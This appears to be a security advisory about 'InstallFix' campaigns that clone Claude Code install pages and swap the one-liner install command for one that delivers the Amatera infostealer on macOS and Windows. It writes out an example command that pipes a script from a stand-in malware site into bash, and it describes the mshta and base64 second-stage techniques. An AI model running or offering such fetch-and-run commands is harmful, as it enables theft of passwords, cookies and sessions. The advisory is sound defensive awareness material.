Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.
Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.
But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.
It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.
But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.
Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.
The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.
The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.
On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it.
On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.
With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
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